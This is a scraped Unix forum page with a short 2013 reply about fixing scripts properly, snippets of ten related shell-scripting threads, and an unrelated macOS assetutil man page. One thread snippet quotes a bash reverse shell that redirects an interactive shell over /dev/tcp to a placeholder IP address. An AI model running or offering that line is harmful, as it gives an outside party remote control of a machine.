Sponsored Content
Top Forums Shell Programming and Scripting Shell Script for continuously checking status of a another script running in background, and immedia Post 302870167 by vgersh99 on Friday 1st of November 2013 09:59:26 AM
Old 11-01-2013
To support Jim's point - a couple of quotes....
Quote:
If your car's brakes work only half the time, the solution is not to add a
drag-chute, or not ever driving fast, instead you fix the brakes.

square wheels and strong shocks are great for a car because the price
of steel is down. [NOT]
 

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

checking exit status of a shell script

Hi, I have tried with the following code; if ;then echo "Failure." else echo "Success." fi to test the exit status of the test.ksh shell script. But whatever is the exit status of the test.ksh shell script Failure. is always printed. Please help. regards, Dipankar. (2 Replies)
Discussion started by: kdipankar
2 Replies

2. Shell Programming and Scripting

Capturing the exit status of the script running in background

Hi All, I have a scenario where I am executing some child shell scripts in background (using &)through a master parent script. Is there a way I can capture the exit status of each individual child script after the execution is completed. (2 Replies)
Discussion started by: paragkalra
2 Replies

3. Shell Programming and Scripting

checking to see if a service is running in a shell script

How can I tell, in a shell script, if a certain service is running? I know how to do this on the command line, but not in a script. Is an error thrown somehow that I can check? Thanks. (6 Replies)
Discussion started by: daflore
6 Replies

4. Shell Programming and Scripting

Shell script running in background

Dear all, I have a little problem trying to run a shell script in background, as you can see below. - the script is a simple one: #! /bin/bash exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0 - the name of the script is test.sh - the script is executable(chmod +x test.sh) - on the... (2 Replies)
Discussion started by: gd05
2 Replies

5. Shell Programming and Scripting

Running Shell Script in the cron, background proccess

Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (0 Replies)
Discussion started by: blacksteel1988
0 Replies

6. Shell Programming and Scripting

Running Shell Script in the cron, background process

Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (9 Replies)
Discussion started by: blacksteel1988
9 Replies

7. Shell Programming and Scripting

Need help in running a script continuously non stop

Hi, I am running a schedular script which will check for a specific time and do the job. I wanted to run this continuously. Meaning even after the if condition is true and it executes the job, it should start running again non stop. I am using below script #!/bin/sh start: while true do... (10 Replies)
Discussion started by: sandeepcm
10 Replies

8. Shell Programming and Scripting

Shell scripting issue-running the background script

I have written the below query to genrate a telephone.I am passing account number from oracle database. I am calling 2 scripts which generate the bill 1. bip.sh (it runs in the background) 2.runXitInvoice_PROFORMA_integ bip.sh generates a number which runXitInvoice_PROFORMA_integ uses.How... (7 Replies)
Discussion started by: rafa_fed2
7 Replies

9. Shell Programming and Scripting

Script will keep checking running status of another script and also restart called script at night

I am using blow script :-- #!/bin/bash FIND=$(ps -elf | grep "snmp_trap.sh" | grep -v grep) #check snmp_trap.sh is running or not if then # echo "process found" exit 0; else echo "process not found" exec /home/Ketan_r /snmp_trap.sh 2>&1 & disown -h ... (1 Reply)
Discussion started by: ketanraut
1 Replies

10. Shell Programming and Scripting

Korn Shell script in stopped state while running in background

Hi, I want to run a shell script in background . but its going to stopped state $ ksh cat_Duplicate_Records_Removal.ksh & 8975 $ + Stopped (tty output) ksh cat_Duplicate_Records_Removal.ksh & why is this happening? Also could anyone please tell me what is a stopped... (12 Replies)
Discussion started by: TomG
12 Replies
assetutil(1)						    BSD General Commands Manual 					      assetutil(1)

NAME
assetutil process asset catalog .car files SYNOPSIS
assetutil [-ViotshMgpT] inputfile DESCRIPTION
assetutil processes a .car file generated from a image catalog removing requested scale factors, device idioms, subtypes, performance and memory classes. When thinning scale, idiom, subtype, performance, memory, and graphicsclassfallbacks can be given multiple times, the result- ing file will contain all of the assets that match all of the parameters given. If scale, idiom, subtype and graphics class are given in one set, the same parameters must all be present in the subsequent set of parmeters. (IE the count must match) A list of flags and their descriptions: -V version information for assetutil -I Produce a JSON description of the asset catalog object with the given name to --output directory if given or to stdout if no output path given. If no name is provided, report on the contents of the entire car file. -i Keep all assets that have idiom that is given on the command line. -s Keep all assets that have scale factor that is given on the command line, present scale factors will not be removed if there is no fallback available. -p Keep all assets that have the display gamut that is given on the command line, present display gamuts will not be removed if there is no fall back avaliable. -M Keep all assets that have memory class that is given on the command line, present memory class will not be removed if there is no fallback available. -g Keep all assets that have graphics class that is given on the command line. The present graphics class will not be removed if there is no fallback available. -h process the hosted idioms list, this is a list of the idioms that must always be preserved in the car file. This list cannot contain universal, and the different idioms should be given in a comma separated list. -i Idiom to keep. Can be one of universal/phone/pad. -t Subtype to keep (integer) -c Main Assets.car file used to supply the names of the assets to the -I (--info) and the dump options -d (--dump) and -D (--dump- stack). -o Output file name, if no output file is given then input file is overwritten. -T compare thinning attributes 'scale=2:idiom=phone:memory=2:graphicsclass=MTL1,2/scale=2:idiom=phone:memory=1:graphicsclass=MTL2,2' will print to stdout if the files was thinned with the above thinning attributes, would the same Asset file result in both cases. Darwin Jan 3, 2018 Darwin
All times are GMT -4. The time now is 06:44 AM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy